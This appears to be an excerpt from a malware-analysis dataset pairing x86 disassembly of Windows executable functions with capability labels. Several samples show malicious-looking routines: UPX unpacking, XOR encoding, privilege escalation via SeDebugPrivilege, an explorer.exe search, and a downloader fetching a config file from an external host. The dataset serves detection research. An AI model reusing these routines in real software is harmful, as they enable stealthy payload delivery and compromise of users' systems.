joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000fa4c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
sub esp, 0x404
lea ebp, [esp - 4]
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x404], eax
push 0x20
mov eax, 0x1001fed9
call fcn.100137c5
mov edi, ecx
mov eax, dword [ebp + 0x414]
mov esi, dword [ebp + 0x410]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x418]
mov dword [ebp - 0x14], eax
call dword [0x10027188]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp], ebx
cmp esi, ebx
mov byte [ebp - 4], 1
je 0x1000fb06
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.1000bdb3
add esp, 0xc
test eax, eax
jl 0x1000fb06
mov edi, dword [ebp - 0x24]
cmp edi, 0x400
jg 0x1000faee
push edi
call fcn.1000c794
test al, al
pop ecx
je 0x1000faee
mov eax, edi
call fcn.10012c10
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1000faf7
push edi
lea ecx, [ebp - 0x20]
call fcn.1000ca23
push dword [ebp - 0x1c]
push edi
push esi
push eax
call fcn.100023f3
cmp eax, ebx
jne 0x1000fb4b
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000fb16
lea ecx, [ebp]
call fcn.1000c6e7
lea ecx, [ebp - 0x20]
call fcn.10006c35
mov eax, 0x8007000e
lea esp, [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.10010fcb
add ebp, 0x408
leave
ret 0x10
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x1c], edi
jne 0x1000fb6a
call fcn.1000bfe9
mov esi, eax
jmp 0x1000fc2d
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x1000fb87
call fcn.1000bfe9
jmp 0x1000fc22
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x1000fb7d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
mov dword [ebp - 0x18], esi
jae 0x1000fbce
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000fbba
lea ecx, [ebp]
call fcn.1000c6e7
mov esi, 0x8007000e
lea ecx, [ebp - 0x20]
call fcn.10006c35
mov eax, esi
jmp 0x1000fb23
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 2
call fcn.1000dc4e
mov dword [ebp - 4], 1
jmp 0x1000fbef
cmp dword [ebp], ebx
jne 0x1000fbfb
mov esi, 0x8007000e
jmp 0x1000fc24
push esi
push dword [ebp - 0x14]
push esi
push dword [ebp]
call fcn.1000bef8
mov eax, dword [ebp]
add esp, 0x10
push dword [ebp + 0x41c]
mov byte [eax + esi], bl
push dword [ebp]
lea ecx, [ebp - 0x2c]
call fcn.1000f4dd
mov esi, eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x1000fbbf
lea ecx, [ebp]
call fcn.1000c6e7
jmp 0x1000fbbf

Function at 0x10010fcb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100271c0]
jne 0x10010fd5
repz ret
jmp fcn.1001484c
Function at 0x1001b8d5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10015348
xor ebx, ebx
cmp dword [0x1002a4b8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1001b9aa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1001b915
xor eax, eax
jmp 0x1001ba6e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001b90e
push eax
call fcn.100152e5
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1002a4b8], eax
call esi
push eax
call fcn.100152e5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1002a4bc], eax
call esi
push eax
call fcn.100152e5
mov dword [0x1002a4c0], eax
lea eax, [ebp - 8]
push eax
call fcn.10016c58
test eax, eax
pop ecx
pop ecx
je 0x1001b978
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10012c46
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1001b9aa
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.100152e5
cmp eax, ebx
pop ecx
mov dword [0x1002a4c8], eax
je 0x1001b9aa
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100152e5
pop ecx
mov dword [0x1002a4c4], eax
mov eax, dword [0x1002a4c4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1001ba23
cmp dword [0x1002a4c8], esi
je 0x1001ba23
push eax
call fcn.10015351
pop ecx
call eax
cmp eax, ebx
je 0x1001b9f0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x1002a4c8]
call fcn.10015351
pop ecx
call eax
test eax, eax
je 0x1001b9f0
test byte [ebp - 0x18], 1
jne 0x1001ba23
lea eax, [ebp - 0xc]
push eax
call fcn.10016c8f
test eax, eax
pop ecx
je 0x1001ba0b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10012c46
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1001ba1a
or dword [ebp + 0x10], 0x200000
jmp 0x1001ba54
or dword [ebp + 0x10], 0x40000
jmp 0x1001ba54
mov eax, dword [0x1002a4bc]
cmp eax, esi
je 0x1001ba54
push eax
call fcn.10015351
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1001ba54
mov eax, dword [0x1002a4c0]
cmp eax, esi
je 0x1001ba54
push dword [ebp - 4]
push eax
call fcn.10015351
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x1002a4b8]
call fcn.10015351
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401267
Capabilities:
Allocate or change rwx memory

Disassembly:
pop edi
call fcn.0040125f
jmp 0x4011b0
Function at 0x41e890
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x41e8b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41e8b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41e8a8
mov eax, 1
add ebx, ebx
jne 0x41e8cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41e8c0
jne 0x41e8dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e8c0
xor ecx, ecx
sub eax, 3
jb 0x41e8f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41e962
mov ebp, eax
add ebx, ebx
jne 0x41e8fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41e908
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41e92c
inc ecx
add ebx, ebx
jne 0x41e918
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41e90d
jne 0x41e929
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41e90d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41e94c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41e93d
jmp 0x41e8ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41e94c
add edi, ecx
jmp 0x41e8ae
pop esi
mov edi, esi
mov ecx, 0x45d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41e96a
cmp byte [edi], 5
jne 0x41e96a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41e96f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41e9e7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f8b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f950]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41e99c
mov ecx, edi
jns 0x41e9cb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f954]
or eax, eax
je 0x41e9e1
mov dword [ebx], eax
add ebx, 4
jmp 0x41e9b9
call dword [esi + 0x1f958]
popal
jmp section.UPX0
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x4019f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019ff
push esp
mov dword [ebp - 0x24], 0x40171b
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a9e
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a7f
pop ebp
ret 0x10
Function at 0x4493ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov edi, dword [ebp + 8]
mov eax, dword [edi]
or eax, dword [edi + 4]
je 0x44943f
mov ecx, 8
mov esi, 0x13cee4d1
sub ebx, ebx
sub eax, eax
mov al, byte [edi]
inc edi
mul esi
rol ebx, 5
xor ebx, eax
dec ecx
jne 0x449408
test ebx, ebx
jne 0x44941d
mov ebx, esi
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
shr ecx, 2
je 0x449430
xor dword [edi], ebx
add edi, 4
dec ecx
jne 0x449428
mov ecx, dword [ebp + 0x10]
and cl, 3
je 0x44943f
xor byte [edi], bl
inc edi
dec cl
jne 0x449438
pop ebx
pop edi
pop esi
leave
ret

Function at 0x44ecf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, 0x5e9212fc
mov edx, 0xa761f0f7
sub eax, eax
mov esi, dword [ebp + 0xc]
lea edi, [esi - 1]
inc edi
cmp byte [edi], 0
jne 0x44ed08
cmp esi, edi
je 0x44ed31
mov al, byte [esi]
inc esi
imul ecx, eax, 0x71b2c107
ror edx, 6
xor ecx, edx
imul edx, eax, 0xebae624d
ror ebx, 7
xor edx, ebx
mov ebx, ecx
cmp esi, edi
jb 0x44ed12
and ebx, 0x7fffffff
cmp ebx, 0x7fffffab
jb 0x44ed45
sub ebx, 0x7fffffab
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov dword [eax + 4], edx
pop ebx
pop edi
pop esi
leave
ret

Function at 0x44eeca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push ebp
mov ebp, dword [ebp + 8]
mov ebx, dword [ebp + 0x8c]
mov ecx, dword [ebp + 0x94]
test ecx, ecx
je 0x44ef10
lea edx, [esi + ecx]
cmp edx, edi
jbe 0x44eef3
mov edx, edi
mov al, byte [esi]
xor bl, al
mov byte [esi], bl
ror ebx, 8
dec ecx
inc esi
cmp esi, edx
jb 0x44eef3
test ecx, ecx
jne 0x44efb9
xor ebx, dword [ebp + 0x90]
mov edx, dword [ebp]
sub edi, 4
jmp 0x44ef59
mov eax, 0x9c4e
mul edx
mov ecx, 0x7fffffab
div ecx
mov ecx, dword [ebp + 4]
imul ecx, ecx, 0x19660d
add ecx, 0x3c6ef35f
mov dword [ebp + 4], ecx
mov eax, dword [ebp + 8]
shr eax, 0x1b
mov ecx, dword [ebp + eax*4 + 0xc]
sub ecx, dword [ebp + 4]
mov dword [ebp + 8], ecx
mov dword [ebp + eax*4 + 0xc], edx
xor ebx, ecx
mov ecx, dword [esi]
xor ebx, ecx
mov dword [esi], ebx
mov ebx, ecx
add esi, 4
cmp esi, edi
jbe 0x44ef18
add edi, 4
mov ecx, edi
sub ecx, esi
je 0x44efb6
mov eax, 0x9c4e
mul edx
mov ecx, 0x7fffffab
div ecx
mov ecx, dword [ebp + 4]
imul ecx, ecx, 0x19660d
add ecx, 0x3c6ef35f
mov dword [ebp + 4], ecx
mov eax, dword [ebp + 8]
shr eax, 0x1b
mov ecx, dword [ebp + eax*4 + 0xc]
sub ecx, dword [ebp + 4]
mov dword [ebp + 8], ecx
mov dword [ebp + eax*4 + 0xc], edx
xor ebx, ecx
mov dword [ebp + 0x90], ebx
mov ecx, 4
mov al, byte [esi]
xor bl, al
mov byte [esi], bl
ror ebx, 8
dec ecx
inc esi
cmp esi, edi
jb 0x44efa7
mov dword [ebp], edx
mov dword [ebp + 0x8c], ebx
mov dword [ebp + 0x94], ecx
pop ebp
pop ebx
pop edi
pop esi
leave
ret
Function at 0x401000
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x140c
call fcn.00402120
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0xffc
lea eax, [ebp - 0x1400]
push esi
push eax
mov dword [ebp - 0x1404], esi
call sub.MSVCR100.dll_memset
push 0x3ff
lea ecx, [ebp - 0x403]
push esi
push ecx
mov dword [ebp - 0x1408], esi
mov byte [ebp - 0x404], 0
call sub.MSVCR100.dll_memset
add esp, 0x18
jmp 0x401060
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x1408]
push edx
push 0x1000
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x401060
mov eax, dword [ebp - 0x1408]
shr eax, 2
xor ebx, ebx
mov dword [ebp - 0x140c], eax
test eax, eax
je 0x401060
lea ecx, [ecx]
push 0x400
lea ecx, [ebp - 0x404]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + ebx*4 - 0x1404]
add esp, 0xc
push eax
xor edi, edi
push edi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40112a
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
test eax, eax
je 0x4010ee
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40112a
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401102
sub eax, edx
cmp eax, 0x15
jl 0x40112a
lea eax, [ebp + eax - 0x419]
push str.Windowsexplorer.exe
push eax
call dword [sym.imp.MSVCR100.dll__stricmp]
add esp, 8
test eax, eax
je 0x40113c
inc ebx
cmp ebx, dword [ebp - 0x140c]
jb 0x4010a0
jmp 0x401060
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + ebx*4 - 0x1404]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040192c
mov esp, ebp
pop ebp
ret
Function at 0x401160
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x20], edi
call section..text
mov esi, eax
lea eax, [esp + 0x14]
push eax
push esi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x20], edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
test eax, eax
jne 0x4011da
push esi
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x4011da
lea eax, [esp + 0x10]
push eax
push 0xf00ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x4011e0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x4012ef
lea ecx, [esp + 0x20]
push ecx
push 4
lea edx, [esp + 0x2c]
push edx
push 0x13
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x401232
lea eax, [esp + 0x28]
push eax
push str.SeDebugPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push ecx
push 1
push 1
push edi
push 0x2000000
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
jmp 0x40123a
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0xc]
push 1
push ecx
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x401255
mov ebx, 0x400
push 0x44
lea eax, [esp + 0x44]
push edi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
lea edx, [esp + 0x30]
push edx
mov edx, dword [ebp + 8]
lea eax, [esp + 0x44]
push eax
mov eax, dword [esp + 0x14]
push edi
mov ecx, 5
mov word [esp + 0x7c], cx
mov ecx, dword [esp + 0x24]
push ecx
push ebx
push edi
push edi
push edi
push edx
push edi
push eax
mov dword [esp + 0x6c], 0x44
mov dword [esp + 0x98], 1
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ebx, 1
test eax, eax
jne 0x4012c3
mov ebx, edi
mov eax, dword [esp + 0x30]
cmp eax, edi
je 0x4012ce
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, edi
je 0x4012d9
push eax
call esi
mov eax, dword [esp + 0xc]
cmp eax, edi
je 0x4012e4
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, edi
je 0x4012ef
push eax
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401300
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0
push 0
push 0
push 0
push str.MakeHard
mov esi, ecx
mov dword [ebp - 0x40c], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x410], ebx
test ebx, ebx
je 0x4013f9
push edi
push 0
push 0x4000000
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x4013f1
push esi
push 0x4031e0
call dword [sym.imp.MSVCR100.dll_printf]
mov ecx, dword [ebp - 0x40c]
push 0x4031e4
push ecx
mov dword [ebp - 0x408], 1
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4013ea
cmp dword [ebp - 0x408], 0
jbe 0x4013e0
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [ebp - 0x408]
push edx
push 0x3ff
lea eax, [ebp - 0x404]
push eax
push edi
call ebx
mov ecx, dword [ebp - 0x408]
push esi
push ecx
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x408], 0
ja 0x4013a1
mov ebx, dword [ebp - 0x410]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040192c
mov esp, ebp
pop ebp
ret

Function at 0x401410
Capabilities:
Delete file
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.sick.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__d.qiLuwL.com_sick.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00401300
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
add esp, 4
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push 0x4044a0
push 0x4031a4
push 0x403214
push 0x403218
call esi
lea edx, [ebp - 0x108]
push edx
push 0x104
push 0x404398
push 0x4031a4
push 0x40321c
push 0x403218
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040192c
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x127]
push 0
push eax
mov byte [ebp - 0x128], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x13c]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionShellMark
push 0x80000002
mov dword [ebp - 0x140], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40168f
lea edx, [ebp - 0x140]
push edx
mov edx, dword [ebp - 0x13c]
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x144]
push ecx
push 0
push str.LogCheck
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x138]
push eax
jne 0x401619
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x132]
movzx edx, word [ebp - 0x136]
movzx eax, word [ebp - 0x138]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x403260
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x401649
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040192c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x132]
movzx edx, word [ebp - 0x136]
movzx eax, word [ebp - 0x138]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x403260
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x13c]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.LogCheck
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040192c
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x13c]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionShellMark
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40167f
lea ecx, [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x132]
movzx eax, word [ebp - 0x136]
movzx ecx, word [ebp - 0x138]
push edx
push eax
push ecx
lea edx, [ebp - 0x24]
push 0x403260
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x13c]
add eax, eax
add eax, eax
push eax
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push str.LogCheck
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.0040192c
mov esp, ebp
pop ebp
ret